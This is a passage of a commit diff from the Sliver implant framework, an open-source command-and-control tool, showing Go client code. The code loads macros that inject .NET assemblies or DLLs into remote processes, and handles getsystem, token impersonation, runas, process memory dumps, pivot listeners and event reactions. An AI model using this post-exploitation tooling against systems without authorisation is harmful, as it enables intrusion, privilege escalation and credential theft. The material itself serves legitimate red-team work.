if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MonitorStartCmd - Start monitoring threat intel for implants
func MonitorStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MonitorStopCmd - Stop monitoring threat intel for implants
func MonitorStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// OperatorsCmd - Display operators and current online status
func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -33,6 +33,7 @@ import (
"github.com/desertbit/grumble"
)
// PivotsCmd - Display pivots for all sessions
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
timeout := ctx.Flags.Int("timeout")
sessionID := ctx.Flags.String("id")
+1
View File
@@ -9,6 +9,7 @@ import (
"github.com/desertbit/grumble"
)
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -24,6 +24,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdRmCmd - Remove an existing tunneled port forward
func PortfwdRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
portfwdID := ctx.Flags.Int("id")
if portfwdID < 1 {
+1
View File
@@ -30,6 +30,7 @@ import (
"github.com/desertbit/grumble"
)
// PortfwdCmd - Display information about tunneled port forward(s)
func PortfwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
portfwds := core.Portfwds.List()
if len(portfwds) == 0 {
+109
View File
@@ -0,0 +1,109 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
nameColumnWidth = len(entry.Name)
}
if len(entry.Description) > descriptionColumnWidth {
descriptionColumnWidth = len(entry.Description)
}
}
// Give one more space
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
con.Printf("Disabled")
}
if entry.EnabledByDefault {
con.Printf(", Enabled by Default")
}
if entry.Removed {
con.Printf(", Removed")
}
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf("\n")
}
}
+2 -1
View File
@@ -26,13 +26,14 @@ import (
"github.com/desertbit/grumble"
)
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
process := ctx.Flags.String("process")
config := con.GetActiveSliverConfig()
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -26,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+19
View File
@@ -1,5 +1,23 @@
package processes
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
@@ -11,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2
View File
@@ -44,6 +44,7 @@ var (
}
)
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -166,6 +167,7 @@ func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool
return color
}
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveSession.Request(ctx),
+19
View File
@@ -1,5 +1,23 @@
package processes
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
@@ -8,6 +26,7 @@ import (
"github.com/desertbit/grumble"
)
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+5
View File
@@ -0,0 +1,5 @@
Reaction
=========
Commands to set a reaction, or unset a reaction. Reactions allow the operator to automate commands in response to event(s).
+80
View File
@@ -0,0 +1,80 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
)
const (
ReactionFileName = "reactions.json"
)
// GetReactionFilePath - Get the
func GetReactionFilePath() string {
return path.Join(assets.GetRootAppDir(), ReactionFileName)
}
// SaveReactions - Save the reactions to the reaction file
func SaveReactions(reactions []core.Reaction) error {
reactionFilePath := GetReactionFilePath()
data, err := json.MarshalIndent(reactions, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(reactionFilePath, data, 0600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := ioutil.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
reactions := []core.Reaction{}
err = json.Unmarshal(data, &reactions)
if err != nil {
return 0, err
}
for _, oldReaction := range core.Reactions.All() {
core.Reactions.Remove(oldReaction.ID)
}
for _, reaction := range reactions {
if !isReactable(reaction) {
continue
}
core.Reactions.Add(reaction)
}
return len(reactions), nil
}
func isReactable(reaction core.Reaction) bool {
for _, eventType := range core.ReactableEvents {
if reaction.EventType == eventType {
return true
}
}
return false
}
+90
View File
@@ -0,0 +1,90 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
)
// ReactionCmd - Manage reactions to events
func ReactionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
totalReactions := 0
for _, eventType := range core.ReactableEvents {
reactions := core.Reactions.On(eventType)
if 0 < len(reactions) {
displayReactionsTable(eventType, reactions, con)
}
totalReactions += len(reactions)
}
if totalReactions == 0 {
con.PrintInfof("No reactions set\n")
}
}
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) {
// Title
con.Printf("%s%s%s\n", console.Bold, EventTypeToTitle(eventType), console.Normal)
// Table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "ID\tCommands\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Commands")),
)
for _, react := range reactions {
fmt.Fprintf(table, "%d\t%s\t\n",
react.ID, strings.Join(react.Commands, ","),
)
}
table.Flush()
con.Printf("%s", outputBuf.String())
}
// EventTypeToTitle - Convert an eventType to a more human friendly string
func EventTypeToTitle(eventType string) string {
switch eventType {
case consts.SessionOpenedEvent:
return "Session Opened"
case consts.SessionClosedEvent:
return "Session Closed"
case consts.SessionUpdateEvent:
return "Session Updated"
case consts.CanaryEvent:
return "Canary Trigger"
case consts.WatchtowerEvent:
return "Watchtower Trigger"
default:
return eventType
}
}
+48
View File
@@ -0,0 +1,48 @@
package reaction
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ReactionSaveCmd - Manage reactions to events
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
return
}
confirm := false
prompt := &survey.Confirm{Message: "Reload reactions from disk?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
n, err := LoadReactions()
if err != nil {
con.PrintErrorf("Failed to load reactions: %s\n", err)
}
con.Println()
con.PrintInfof("Reloaded %d reactions from disk\n", n)
}
Loaded 100 of 403 files, more files were not shown because too many files have changed in this diff. Show more